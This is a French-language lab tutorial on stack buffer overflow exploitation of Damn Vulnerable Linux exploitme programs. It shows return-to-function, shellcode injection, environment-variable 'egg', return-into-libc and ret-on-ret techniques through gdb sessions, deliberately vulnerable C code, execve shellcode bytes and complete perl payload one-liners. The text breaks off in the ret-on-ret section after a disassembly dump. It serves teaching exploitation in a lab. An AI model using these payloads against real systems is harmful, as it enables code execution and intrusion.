

Introduction aux méthodes d'exploitation de failles applicatives

1/ Détournement simple

2/ Injection de shellcode

3/ Return on egg

4/ Return into libc

5/ Return on ret

6/ Ressources

Ce document nécessite de savoir lire le C et l'asm et de savoir se servir un minimum de gdb.

Je pars du principe que vous connaissez les définitions d'exploits, de shellcode, d'overflow et compagnie.

Les outils utilisés sont ceux présents dans toutes distributions linux (ici c'est DamnVulnerableLinux qui sert de base).

L'outil pattern_manager est téléchargeable ici : <http://sourceforge.net/projects/patternmanager/>, vous pouvez vous servir de metasploit à la place.

L'ASLR est désactivée, la pile doit être exécutable pour la plupart des exploitations.

Tout les exemples traités font partie des exploitme de la distribution DVL.

N'hésitez pas à me contacter pour me faire part de vos critiques/améliorations: joanelis[_a_]hotmail.fr

Ce documents est basé sur des écrits provenant de zenk-security, je remercie les membres de ce forum pour les informations que nous avons partagées ainsi que pour l'aide et les critiques qu'ils m'ont apportés.

1/ Détournement simple

Ici le but est juste de faire pointer EIP vers une fonction du programme exploité.

On remplira le buffer avec n'importe quoi puisque seul la réécriture d'EIP nous intéresse :

`BUFFER = [NOPS...NOPS][RET]` avec `RET = adresse de la fonction qui nous intéresse.`

La pile n'a pas besoin d'être exécutable pour cette exploitation.

Exemple :

bt exploitme003 # cat exploitme003.c

```
#include <stdio.h>
#include <string.h>
```

```
int ask_user(void)
{
    int ret;
    char name[10];
    printf("Your Name: ");
    fflush(stdout);
    gets(name);
    ret = strcmp(name, "Peter");
    if (ret == 0)
        return 1;
    return 0;
}
```

```
int main(int argc, char *argv[])
{
```

```
    int is_peter;
    printf("This Application finds the Peter!\n");
    is_peter = ask_user();
    if (is_peter == 1)
    {
        printf("Lol, you are a real Peter!\n");
        return 0;
    }
    printf("Ups, no Peter :-/\n");
    return 0;
}
```

<- nous allons appeler cette fonction

bt exploitme003 # perl /root/Desktop/pattern_manager.pl c 50

length of the pattern : 50

<- ici nous créons un pattern afin de trouver le

<- nombre d'octets libre avant EIP

pattern created and saved in <pattern.txt>

bt exploitme003 # cat pattern.txt

```
aA0AaA0BaA0CaA0DaA0EaA0FaA0GaA0HaA0IaA0JaA0KaA0LaA0M
```

bt exploitme003 # gdb exploitme003

GNU gdb 6.6

Copyright (C) 2006 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i686-pc-linux-gnu"...

Really redefine built-in command "frame"? (y or n) [answered Y; input not from terminal]

Really redefine built-in command "thread"? (y or n) [answered Y; input not from terminal]

Really redefine built-in command "start"? (y or n) [answered Y; input not from terminal]

Using host libthread_db library "/lib/tls/libthread_db.so.1".

`gdb$ disas main`

Dump of assembler code for function main:

```
0x080484af <main+0>:  push  ebp
0x080484b0 <main+1>:  mov   ebp,esp
0x080484b2 <main+3>:  sub   esp,0x18
0x080484b5 <main+6>:  and   esp,0xfffff0
0x080484b8 <main+9>:  mov   eax,0x0
0x080484bd <main+14>: sub   esp,eax
```

```
0x080484bf <main+16>: mov  DWORD PTR [esp],0x8048660
0x080484c6 <main+23>: call 0x8048374 <printf@plt>
0x080484cb <main+28>: call 0x8048454 <ask_user>
0x080484d0 <main+33>: mov  DWORD PTR [ebp-4],eax
0x080484d3 <main+36>: cmp  DWORD PTR [ebp-4],0x1
0x080484d7 <main+40>: jne  0x80484ee <main+63>
0x080484d9 <main+42>: mov  DWORD PTR [esp],0x8048683
0x080484e0 <main+49>: call 0x8048374 <printf@plt>
0x080484e5 <main+54>: mov  DWORD PTR [ebp-8],0x0
0x080484ec <main+61>: jmp  0x8048501 <main+82>
0x080484ee <main+63>: mov  DWORD PTR [esp],0x804869f
0x080484f5 <main+70>: call 0x8048374 <printf@plt>
0x080484fa <main+75>: mov  DWORD PTR [ebp-8],0x0
0x08048501 <main+82>: mov  eax,DWORD PTR [ebp-8]
0x08048504 <main+85>: leave
0x08048505 <main+86>: ret
End of assembler dump.
```

*<- Le printf qui nous intéresse se trouve ici
<- précédé de son argument*

```
gdb$ r
This Application finds the Peter!
Your Name: aA0AaA0BaA0CaA0DaA0EaA0FaA0GaA0HaA0IaA0JaA0KaA0LaA0M
```

Program received signal SIGSEGV, Segmentation fault.

```
-----[regs]
EAX: 00000000 EBX: B7FCAFFC ECX: 00000050 EDX: 50F09AF0 o d I t s z a P c
ESI: BFFFF3B4 EDI: BFFFF340 EBP: 4B304161 ESP: BFFFF310 EIP: 4C304161
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
```

*<- Nous avons bien réécrit l'EIP avec une
<- partie de la chaîne générée plus haut.*

```
[007B:BFFFF310]-----[stack]
BFFFF360 : 00 00 00 00 F8 0F 00 B8 - 01 00 00 00 90 83 04 08 .....
BFFFF350 : 30 F3 FF BF D2 4D EB B7 - 00 00 00 00 00 00 00 00 0...M.....
BFFFF340 : FC AF FC B7 00 00 00 00 - 40 F3 FF BF 88 F3 FF BF .....@.....
BFFFF330 : 01 00 00 00 B4 F3 FF BF - BC F3 FF BF 6C 5B FF B7 .....l[.
BFFFF320 : 00 00 00 00 E0 0C 00 B8 - 88 F3 FF BF 14 4E EB B7 .....N..
BFFFF310 : 61 41 30 4D 00 AF FC B7 - 70 85 04 08 FC AF FC B7 aA0M...p.....
```

```
[007B:BFFFF310]-----[data]
BFFFF310 : 61 41 30 4D 00 AF FC B7 - 70 85 04 08 FC AF FC B7 aA0M...p.....
BFFFF320 : 00 00 00 00 E0 0C 00 B8 - 88 F3 FF BF 14 4E EB B7 .....N..
BFFFF330 : 01 00 00 00 B4 F3 FF BF - BC F3 FF BF 6C 5B FF B7 .....l[.
BFFFF340 : FC AF FC B7 00 00 00 00 - 40 F3 FF BF 88 F3 FF BF .....@.....
BFFFF350 : 30 F3 FF BF D2 4D EB B7 - 00 00 00 00 00 00 00 00 0...M.....
BFFFF360 : 00 00 00 00 F8 0F 00 B8 - 01 00 00 00 90 83 04 08 .....
BFFFF370 : 00 00 00 00 A0 5A FF B7 - B0 66 FF B7 F8 0F 00 B8 .....Z...f.....
BFFFF380 : 01 00 00 00 90 83 04 08 - 00 00 00 00 B1 83 04 08 .....
```

```
[0073:4C304161]-----[code]
0x4c304161: Error while running hook_stop:
Cannot access memory at address 0x4c304161
0x4c304161 in ?? ()
```

```
gdb$ q
bt exploitme003 # perl /root/Desktop/pattern_manager.pl s 50 4c304161
length of the pattern : 50
char 1 = a
char 2 = A
char 3 = 0
char 4 = L
```

searching "aA0L" in the pattern...

```
position of "aA0L" in the pattern : 44
bt exploitme003 # perl -e 'print("A"x44 . "\xd9\x84\x04\x08")'|exploitme003
This Application finds the Peter!
Your Name: Lol, you are a real Peter!
Segmentation fault
```

<- Il y a donc 44 octets libres avant d'écraser EIP

<- La fonction a bien été appelée avant le crash.

2/ Injection de shellcode

Ce type d'exploitation vise à injecter du code exécutable dans l'application puis à appeler ce code via la réécriture d'EIP.

Shellcode utilisé (21 octets) : www.exploit-db.com/exploits/13628

La pile doit être exécutable pour cette exploitation.

$BUFFER = [NOPS...NOPS][SHELLCODE][RET]$ avec $RET =$ adresse pointant dans le tas de NOPS.

Exemple :

bt exploitme004 # cat exploitme004a.c

```
#include <string.h>
#include <stdio.h>
```

```
#define BUFFERSIZE 128
```

```
int main(int argc, char **argv){
    char buffer[BUFFERSIZE] = "Exploiting applications is ";
```

```
    if(argc < 2){
        printf("You have to submit a positive adjective :-)\n");
        //exit(1);
        return 0;
    }
```

```
    strcat(buffer, argv[1]);
    printf("%s\n", &buffer);
```

```
    return 0;
}
```

bt exploitme004 # perl /root/Desktop/pattern_manager.pl c 150

length of the pattern : 150

pattern created and saved in <pattern.txt>

bt exploitme004 # cat pattern.txt

```
aA0AaA0Ba0Ca0Da0Ea0Fa0Ga0Ha0Ia0Ja0Ka0La0Ma0Na0Oa0Pa0Qa0Ra0Sa0Ta0Ua0Va0Wa0Xa0Ya0
0Za1Aa1Ba1Ca1Da1Ea1Fa1Ga1Ha1Ia1Ja1Ka1Ll
```

bt exploitme004 # gdb exploitme004a

GNU gdb 6.6

Copyright (C) 2006 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i686-pc-linux-gnu"...

Really redefine built-in command "frame"? (y or n) [answered Y; input not from terminal]

Really redefine built-in command "thread"? (y or n) [answered Y; input not from terminal]

Really redefine built-in command "start"? (y or n) [answered Y; input not from terminal]

Using host libthread_db library "/lib/tls/libthread_db.so.1".

gdb\$ r

```
aA0AaA0Ba0Ca0Da0Ea0Fa0Ga0Ha0Ia0Ja0Ka0La0Ma0Na0Oa0Pa0Qa0Ra0Sa0Ta0Ua0Va0Wa0Xa0Ya0
0Za1Aa1Ba1Ca1Da1Ea1Fa1Ga1Ha1Ia1Ja1Ka1Ll
```

Exploiting applications is

```
aA0AaA0Ba0Ca0Da0Ea0Fa0Ga0Ha0Ia0Ja0Ka0La0Ma0Na0Oa0Pa0Qa0Ra0Sa0Ta0Ua0Va0Wa0Xa0Ya0
0Za1Aa1Ba1Ca1Da1Ea1Fa1Ga1Ha1Ia1Ja1Ka1Ll
```

Program received signal SIGSEGV, Segmentation fault.

-----[regs]

EAX: 00000000 EBX: B7FCAFFC ECX: 00000000 EDX: 000000B4 o d I t S z A p c

ESI: BFFFFFF304 EDI: 61413141 EBP: 61423141 ESP: BFFFFFF280 EIP: **61433141**

<- EIP a bien été écrasé

CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B

[007B:BFFFFFF280]-----[stack]

BFFFFFF2D0 : 02 00 00 00 00 83 04 08 - 00 00 00 00 21 83 04 08!...

BFFFFFF2C0 : 00 00 00 00 A0 5A FF B7 - B0 66 FF B7 F8 0F 00 B8Z...f.....

BFFFFFF2B0 : 00 00 00 00 F8 0F 00 B8 - 02 00 00 00 00 83 04 08

BFFFFFF2A0 : 41 31 4C 00 D2 4D EB B7 - 00 00 00 00 00 00 00 00 A1L.M.....

BFFFFFF290 : 41 31 48 61 41 31 49 61 - 41 31 4A 61 41 31 4B 61 A1Ha1Ia1Ja1Ka

```
BFFFF280 : 41 31 44 61 41 31 45 61 - 41 31 46 61 41 31 47 61 A1DaA1EaA1FaA1Ga
[007B:BFFFF280]-----[data]
BFFFF280 : 41 31 44 61 41 31 45 61 - 41 31 46 61 41 31 47 61 A1DaA1EaA1FaA1Ga
BFFFF290 : 41 31 48 61 41 31 49 61 - 41 31 4A 61 41 31 4B 61 A1HaA1IaA1JaA1Ka
BFFFF2A0 : 41 31 4C 00 D2 4D EB B7 - 00 00 00 00 00 00 00 00 A1L.M.....
BFFFF2B0 : 00 00 00 00 F8 0F 00 B8 - 02 00 00 00 00 83 04 08 .....
BFFFF2C0 : 00 00 00 00 A0 5A FF B7 - B0 66 FF B7 F8 0F 00 B8 .....Z..f.....
BFFFF2D0 : 02 00 00 00 00 83 04 08 - 00 00 00 00 21 83 04 08 .....!...
BFFFF2E0 : C4 83 04 08 02 00 00 00 - 04 F3 FF BF 90 84 04 08 .....
BFFFF2F0 : F0 84 04 08 B0 66 FF B7 - FC F2 FF BF 8E EE FF B7 .....f.....
[0073:61433141]-----[code]
```

```
0x61433141: Error while running hook_stop:
Cannot access memory at address 0x61433141
0x61433141 in ?? ()
```

gdb\$ x/200s bffff1a0

```
...
0xbffff477: ""
0xbffff478: ""
0xbffff479: "/dvl/exploitmes_package_01/exploitme004/exploitme004a"
```

0xbffff4af:

```
"aA0AaA0BaA0CaA0DaA0EaA0FaA0GaA0HaA0IaA0JaA0KaA0LaA0MaA0NaA0OaA0PaA0QaA0RaA0SaA0TaA0UaA0VaA0WaA0XaA0Ya
A0ZaA1AaA1BaA1CaA1DaA1EaA1FaA1GaA1HaA1IaA1JaA1KaA1L" <- Voici donc l'adresse de notre buffer
```

gdb\$ q
bt exploitme004 # perl /root/Desktop/pattern_manager.pl s 150 61433141

```
length of the pattern : 150
char 1 = A
char 2 = l
char 3 = C
char 4 = a
```

searching "A1Ca" in the pattern...

position of "A1Ca" in the pattern : 113

bt exploitme004 # exploitme004a `perl -e

```
'print("\x90"\x92."\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"."xaf\xf4\xff\xbf")'
```

bt exploitme004 \$

*<- Nous avons 113 octets de libre et notre shellcode en fait 21
<- il faut donc 113-21=92 octets de remplissage*

<- Nous obtenons bien un shell

3/ Return on egg

Cette solution permet aussi l'injection de code exécutable.

Elle est utilisée, notamment, lorsque le buffer qui permet l'overflow est trop petit pour accueillir un shellcode.

L'idée est donc de placer le shellcode dans un variable d'environnement puis de faire pointer EIP sur celle ci.

La pile doit être exécutable pour cette exploitation.

`BUFFER = [NOPS...NOPS][RET]` avec `RET` = adresse de notre variable d'environnement dans le contexte du programme.

Exemple :

Nous allons reprendre le même programme qu'en partie 2 et nous servir du même shellcode.

La seule différence c'est qu'ici le buffer ne fait plus 128 octets mais seulement 8.

8 octets pour le buffer + les 4 pour `EBP` = 12 octets à écraser avant de réécrire `EIP`.

```
bt exploitme004 # export EGG='perl -e <- Le shellcode est placé dans une variable d'environnement
'print("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")'
```

```
bt exploitme004 # gdb exploitme004c
```

```
GNU gdb 6.6
```

```
Copyright (C) 2006 Free Software Foundation, Inc.
```

```
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
```

```
Type "show copying" to see the conditions.
```

```
There is absolutely no warranty for GDB. Type "show warranty" for details.
```

```
This GDB was configured as "i686-pc-linux-gnu"...
```

```
Really redefine built-in command "frame"? (y or n) [answered Y; input not from terminal]
```

```
Really redefine built-in command "thread"? (y or n) [answered Y; input not from terminal]
```

```
Really redefine built-in command "start"? (y or n) [answered Y; input not from terminal]
```

```
Using host libthread_db library "/lib/tls/libthread_db.so.1".
```

```
gdb$ r AAAAAAAAAAAAAAAAAA
```

```
Program received signal SIGSEGV, Segmentation fault.
```

```
-----[regs]
```

```
EAX: BFFFFFFE0 EBX: B7FCAFFC ECX: FFFFFFFC0 EDX: BFFFFFF530 o d I t s Z a P c
```

```
ESI: BFFFFFF374 EDI: BFFFFFF300 EBP: 41414141 ESP: BFFFFFF2F0 EIP: 41414141
```

```
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
```

```
[007B:BFFFFFF2F0]-----[stack]
```

```
BFFFFFF340 : 02 00 00 00 C0 82 04 08 - 00 00 00 00 E1 82 04 08 .....
```

```
BFFFFFF330 : 00 00 00 00 A0 5A FF B7 - B0 66 FF B7 F8 0F 00 B8 ....Z..f.....
```

```
BFFFFFF320 : 00 00 00 00 F8 0F 00 B8 - 02 00 00 00 C0 82 04 08 .....
```

```
BFFFFFF310 : F0 F2 FF BF D2 4D EB B7 - 00 00 00 00 00 00 00 00 ....M.....
```

```
BFFFFFF300 : FC AF FC B7 00 00 00 00 - 00 F3 FF BF 48 F3 FF BF .....H...
```

```
BFFFFFF2F0 : 00 00 00 00 74 F3 FF BF - 80 F3 FF BF 6C 5B FF B7 ...t.....I[.
```

```
[007B:BFFFFFF2F0]-----[data]
```

```
BFFFFFF2F0 : 00 00 00 00 74 F3 FF BF - 80 F3 FF BF 6C 5B FF B7 ...t.....I[.
```

```
BFFFFFF300 : FC AF FC B7 00 00 00 00 - 00 F3 FF BF 48 F3 FF BF .....H...
```

```
BFFFFFF310 : F0 F2 FF BF D2 4D EB B7 - 00 00 00 00 00 00 00 00 ....M.....
```

```
BFFFFFF320 : 00 00 00 00 F8 0F 00 B8 - 02 00 00 00 C0 82 04 08 .....
```

```
BFFFFFF330 : 00 00 00 00 A0 5A FF B7 - B0 66 FF B7 F8 0F 00 B8 ....Z..f.....
```

```
BFFFFFF340 : 02 00 00 00 C0 82 04 08 - 00 00 00 00 E1 82 04 08 .....
```

```
BFFFFFF350 : 84 83 04 08 02 00 00 00 - 74 F3 FF BF B0 83 04 08 .....t.....
```

```
BFFFFFF360 : 10 84 04 08 B0 66 FF B7 - 6C F3 FF BF 8E EE FF B7 ....f..l.....
```

```
[0073:41414141]-----[code]
```

```
0x41414141: Error while running hook_stop:
```

```
Cannot access memory at address 0x41414141
```

```
0x41414141 in ?? ()
```

```
gdb$ x/300s bffff340
```

```
...
```

```
0xbffff70a: "KDE_FULL_SESSION=true"
```

```
0xbffff720: "hlainc=/usr/hla/include"
```

```
0xbffff738: "EGG=j\X\231Rh//shh/bin\211?1ÉÍ\200"
```

```
0xbffff752: "USER=root"
```

```
0xbffff75c:
```

```
"LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:tw=30;4
```

<- Voici l'adresse de notre variable dans le contexte
<- d'exécution

2:ow=34;42:st=37;44:ex=01;32:*.bat=01;32:*.BAT=01;32:*.btm=01;32:*.BTM=0" ...
0xbfff824:

...

gdb\$ q
bt exploitme004 # exploitme004c `perl -e 'print("A"x12 . "\x38\x7\xff\xbf")`

bt exploitme004 \$

<- Nous obtenons le même shell que précédemment

4/ Return into libc

Ici nous allons aborder un type d'exploitation qui ne requiert pas un stack exécutable.

Le principe est d'appeler une fonction existante de la libc (le plus souvent system) en écrasant EIP.

BUFFER = [NOPS...NOPS][RET1][RET2][ARG] avec **RET1 = adresse de la fonction souhaitée**, **RET2 = adresse de la fonction exit afin de ne pas provoquer de segfault** et **ARG = adresse de l'argument passer à la fonction souhaitée**.
RET1 devra écraser EBP et RET2 EIP.

Exemple :

```
bt exploitme006 # cat exploitme006a.c
```

```
#include <stdio.h>
```

```
void crackme() {  
    char input[500];  
    gets(input);  
}
```

```
int main() {  
    crackme();  
    printf("Hello world!\n");  
}
```

```
bt exploitme006 # export EGG=/bin/ls
```

<- l'argument de system() est placé dans une variable

```
bt exploitme006 # perl /root/Desktop/pattern_manager.pl c 600
```

```
length of the pattern : 600
```

```
pattern created and saved in <pattern.txt>
```

```
bt exploitme006 # cat pattern.txt
```

```
aA0AaA0Ba0Ca0Da0Ea0Fa0Ga0Ha0Ia0Ja0Ka0La0Ma0Na0Oa0Pa0Qa0Ra0Sa0Ta0Ua0Va0Wa0Xa0Ya0  
0Za1Aa1Ba1Ca1Da1Ea1Fa1Ga1Ha1Ia1Ja1Ka1La1Ma1Na1Oa1Pa1Qa1Ra1Sa1Ta1Ua1Va1Wa1Xa1Y  
aA1Za2Aa2Ba2Ca2Da2Ea2Fa2Ga2Ha2Ia2Ja2Ka2La2Ma2Na2Oa2Pa2Qa2Ra2Sa2Ta2Ua2Va2Wa2Xa2  
2Ya2Za3Aa3Ba3Ca3Da3Ea3Fa3Ga3Ha3Ia3Ja3Ka3La3Ma3Na3Oa3Pa3Qa3Ra3Sa3Ta3Ua3Va3Wa3X  
aA3Ya3Za4Aa4Ba4Ca4Da4Ea4Fa4Ga4Ha4Ia4Ja4Ka4La4Ma4Na4Oa4Pa4Qa4Ra4Sa4Ta4Ua4Va4Wa4  
4Xa4Ya4Za5Aa5Ba5Ca5Da5Ea5Fa5Ga5Ha5Ia5Ja5Ka5La5Ma5Na5Oa5Pa5Qa5Ra5Sa5T
```

```
bt exploitme006 # gdb exploitme006a
```

```
GNU gdb 6.6
```

```
Copyright (C) 2006 Free Software Foundation, Inc.
```

```
GDB is free software, covered by the GNU General Public License, and you are  
welcome to change it and/or distribute copies of it under certain conditions.
```

```
Type "show copying" to see the conditions.
```

```
There is absolutely no warranty for GDB. Type "show warranty" for details.
```

```
This GDB was configured as "i686-pc-linux-gnu"...
```

```
Really redefine built-in command "frame"? (y or n) [answered Y; input not from terminal]
```

```
Really redefine built-in command "thread"? (y or n) [answered Y; input not from terminal]
```

```
Really redefine built-in command "start"? (y or n) [answered Y; input not from terminal]
```

```
Using host libthread_db library "/lib/tls/libthread_db.so.1".
```

```
gdb$ r
```

```
aA0AaA0Ba0Ca0Da0Ea0Fa0Ga0Ha0Ia0Ja0Ka0La0Ma0Na0Oa0Pa0Qa0Ra0Sa0Ta0Ua0Va0Wa0Xa0Ya0  
0Za1Aa1Ba1Ca1Da1Ea1Fa1Ga1Ha1Ia1Ja1Ka1La1Ma1Na1Oa1Pa1Qa1Ra1Sa1Ta1Ua1Va1Wa1Xa1Y  
aA1Za2Aa2Ba2Ca2Da2Ea2Fa2Ga2Ha2Ia2Ja2Ka2La2Ma2Na2Oa2Pa2Qa2Ra2Sa2Ta2Ua2Va2Wa2Xa2  
2Ya2Za3Aa3Ba3Ca3Da3Ea3Fa3Ga3Ha3Ia3Ja3Ka3La3Ma3Na3Oa3Pa3Qa3Ra3Sa3Ta3Ua3Va3Wa3X  
aA3Ya3Za4Aa4Ba4Ca4Da4Ea4Fa4Ga4Ha4Ia4Ja4Ka4La4Ma4Na4Oa4Pa4Qa4Ra4Sa4Ta4Ua4Va4Wa4  
4Xa4Ya4Za5Aa5Ba5Ca5Da5Ea5Fa5Ga5Ha5Ia5Ja5Ka5La5Ma5Na5Oa5Pa5Qa5Ra5Sa5T
```

```
Program received signal SIGSEGV, Segmentation fault.
```

```
-----[regs]
```

```
EAX: BFFFFFF0 EBX: B7FCAFFC ECX: 00000000 EDX: B7FCC7EC o d I t S z a P c
```

```
ESI: BFFFFFF394 EDI: BFFFFFF320 EBP: 41354161 ESP: BFFFFFF300 EIP: 42354161
```

<- Une fois de plus EIP est bien réécrit

```
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
```

```
[007B:BFFFFFF300]-----[stack]
```

```
BFFFFFF350 : 00 00 00 00 A0 5A FF B7 - B0 66 FF B7 F8 0F 00 B8 .....Z...f.....
```

```
BFFFFFF340 : 61 41 35 53 61 41 35 54 - 00 00 00 00 00 83 04 08 aA5Sa5T.....
```

```
BFFFFFF330 : 61 41 35 4F 61 41 35 50 - 61 41 35 51 61 41 35 52 aA5Oa5Pa5Qa5R
```

```
BFFFFFF320 : 61 41 35 4B 61 41 35 4C - 61 41 35 4D 61 41 35 4E aA5Ka5La5Ma5N
```

```
BFFFFFF310 : 61 41 35 47 61 41 35 48 - 61 41 35 49 61 41 35 4A aA5Ga5Ha5Ia5J
```

```
BFFFFFF300 : 61 41 35 43 61 41 35 44 - 61 41 35 45 61 41 35 46 aA5Ca5Da5Ea5F
```

```
[007B:BFFFFFF300]-----[data]
```



```
BFFFF300 : 61 41 35 43 61 41 35 44 - 61 41 35 45 61 41 35 46 aA5CaA5DaA5EaA5F
BFFFF310 : 61 41 35 47 61 41 35 48 - 61 41 35 49 61 41 35 4A aA5GaA5HaA5IaA5J
BFFFF320 : 61 41 35 4B 61 41 35 4C - 61 41 35 4D 61 41 35 4E aA5KaA5LaA5MaA5N
BFFFF330 : 61 41 35 4F 61 41 35 50 - 61 41 35 51 61 41 35 52 aA5OaA5PaA5QaA5R
BFFFF340 : 61 41 35 53 61 41 35 54 - 00 00 00 00 00 83 04 08 aA5SaA5T.....
BFFFF350 : 00 00 00 00 A0 5A FF B7 - B0 66 FF B7 F8 0F 00 B8 .....Z...f.....
BFFFF360 : 01 00 00 00 00 83 04 08 - 00 00 00 00 21 83 04 08 .....!...
BFFFF370 : DD 83 04 08 01 00 00 00 - 94 F3 FF BF 00 84 04 08 .....
[0073:42354161]-----[code]
```

```
0x42354161: Error while running hook_stop:
```

```
Cannot access memory at address 0x42354161
```

```
0x42354161 in ?? ()
```

```
gdb$ x system
```

```
0xb7ed56e0 <system>: "\203?\f211t$\004\213t$\020\211\034$?!\?y?\201?\tY\017" <- Voici l'adresse de la fonction system
```

```
gdb$ x exit
```

```
0xb7ecb3a0 <exit>: 0x57e58955 <- Et celle de la fonction exit
```

```
gdb$ x/200s Sedi
```

```
...
```

```
0xbffff679: "GTK_RC_FILES=/etc/gtk/gtkrc:/root/.gtkrc:/root/.kde/share/config/gtkrc"
```

```
0xbffff6c0: "HUSHLOGIN=FALSE"
```

```
0xbffff6d0: "WINDOWID=20971527"
```

```
0xbffff6e2: "QTDIR=/usr/lib/qt-3.3.6"
```

```
0xbffff6fa: "QTINC=/usr/lib/qt-3.3.6/include"
```

```
0xbffff71a: "KDE_FULL_SESSION=true"
```

```
0xbffff730: "hlainc=/usr/hla/include"
```

```
0xbffff748: "EGG=/bin/ls"
```

```
<- Et enfin celle de notre argument pour system()
```

```
0xbffff752: "USER=root"
```

```
0xbffff75c:
```

```
"LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:tw=30;4
```

```
2:ow=34;42:st...
```

```
gdb$ q
```

```
bt exploitme006 # perl /root/Desktop/pattern_manager.pl s 600 42354161
```

```
length of the pattern : 600
```

```
char 1 = a
```

```
char 2 = A
```

```
char 3 = 5
```

```
char 4 = B
```

```
searching "aA5B" in the pattern...
```

```
position of "aA5B" in the pattern : 524
```

```
<- il y a 524 octetx avant EIP, donc 520 avant EBP.
```

```
bt exploitme006 #perl -e 'print ("A"x520 . "\xe0\x56\xed\xb7" . "\xa0\xb3\xec\xb7" . "\x48\xf7\xff\xbf")|exploitme006a
```

```
exploitme006a* exploitme006a.s* exploitme006b.c* pattern.txt prog2b.c*
```

```
exploitme006a.c* exploitme006b* exploitme006b.s* prog2a.c* test
```

```
<- un "ls" s'est bien exécuté
```

5/ Return on ret

Le principe du ret-on-ret est simple : en réécrivant EIP nous allons appeler un "RET" existant.

Comme l'adresse empilé après EBP est celle de notre buffer le RET détournera le programme vers celui ci.

Le principale avantage est qu'il est possible d'exécuter le code placé dans le buffer sans connaitre son adresse.

La pile doit être exécutable.

`BUFFER = [NOPS...NOPS][SHELLCODE][RET]` avec `RET = adresse d'une instruction RET`.

Nous utiliserons le même shellcode qu'en section 3.

Exemple :

bt ~ # cat exploitme.c

```
#include <stdio.h>
void vuln(char * val){
    char buff[128];
    int i;
    for (i=0; val[i]!=0; i++) {
        buff[i]=val[i];
    }
    printf("%s", "\n");
    return;
}

int main(int argc, char ** argv) {
    if (argc<2) {
        exit(0);
    }
    vuln(argv[1]);
    return 0;
}
```

bt ~ # gcc -o exploitme exploitme.c

bt ~ # perl pattern_manager.pl c 160

length of the pattern : 160

pattern created and saved in <pattern.txt>

bt ~ # gdb exploitme

GNU gdb 6.6

Copyright (C) 2006 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i686-pc-linux-gnu"...

Really redefine built-in command "frame"? (y or n) [answered Y; input not from terminal]

Really redefine built-in command "thread"? (y or n) [answered Y; input not from terminal]

Really redefine built-in command "start"? (y or n) [answered Y; input not from terminal]

Using host libthread_db library "/lib/tls/libthread_db.so.1".

gdb\$ disas main

Dump of assembler code for function main:

```
0x08048431 <main+0>: push  ebp
0x08048432 <main+1>: mov   ebp,esp
0x08048434 <main+3>: sub   esp,0x8
0x08048437 <main+6>: and   esp,0xfffff0
0x0804843a <main+9>: mov   eax,0x0
0x0804843f <main+14>: add   eax,0xf
0x08048442 <main+17>: add   eax,0xf
0x08048445 <main+20>: shr   eax,0x4
0x08048448 <main+23>: shl   eax,0x4
0x0804844b <main+26>: sub   esp,eax
0x0804844d <main+28>: cmp   DWORD PTR [ebp+8],0x1
0x08048451 <main+32>: jg    0x804845d <main+44>
0x08048453 <main+34>: sub   esp,0xc
0x08048456 <main+37>: push  0x0
0x08048458 <main+39>: call  0x80482e8 <exit@plt>
```

```
0x0804845d <main+44>: sub esp,0xc
0x08048460 <main+47>: mov eax,DWORD PTR [ebp+12]
0x08048463 <main+50>: add eax,0x4
0x08048466 <main+53>: push DWORD PTR [eax]
0x08048468 <main+55>: call 0x80483d4 <vuln>
0x0804846d <main+60>: add esp,0x10
0x08048470 <main+63>: mov eax,0x0
0x08048475 <main+68>: leave
0x08048476 <main+69>: ret
```

End of assembler dump.

gdb\$ disas vuln

Dump of assembler code for function vuln:

```
0x080483d4 <vuln+0>: push ebp
0x080483d5 <vuln+1>: mov ebp,esp
0x080483d7 <vuln+3>: sub esp,0x98
0x080483dd <vuln+9>: mov DWORD PTR [ebp-0x8c],0x0
0x080483e7 <vuln+19>: mov eax,DWORD PTR [ebp-0x8c]
0x080483ed <vuln+25>: add eax,DWORD PTR [ebp+8]
0x080483f0 <vuln+28>: cmp BYTE PTR [eax],0x0
0x080483f3 <vuln+31>: je 0x804841a <vuln+70>
0x080483f5 <vuln+33>: lea eax,[ebp-0x88]
0x080483fb <vuln+39>: mov edx,eax
0x080483fd <vuln+41>: add edx,DWORD PTR [ebp-0x8c]
0x08048403 <vuln+47>: mov eax,DWORD PTR [ebp-0x8c]
0x08048409 <vuln+53>: add eax,DWORD PTR [ebp+8]
0x0804840c <vuln+56>: mov al,BYTE PTR [eax]
0x0804840e <vuln+58>: mov BYTE PTR [edx],al
0x08048410 <vuln+60>: lea eax,[ebp-0x8c]
0x08048416 <vuln+66>: inc DWORD PTR [eax]
0x08048418 <vuln+68>: jmp 0x80483e7 <vuln+19>
0x0804841a <vuln+70>: sub esp,0x8
0x0804841d <vuln+73>: push 0x8048584
0x08048422 <vuln+78>: push 0x8048586
0x08048427 <vuln+83>: call 0x80482d8 <printf@plt>
0x0804842c <vuln+88>: add esp,0x10
0x0804842f <vuln+91>: leave
```

0x08048430 <vuln+92>: ret

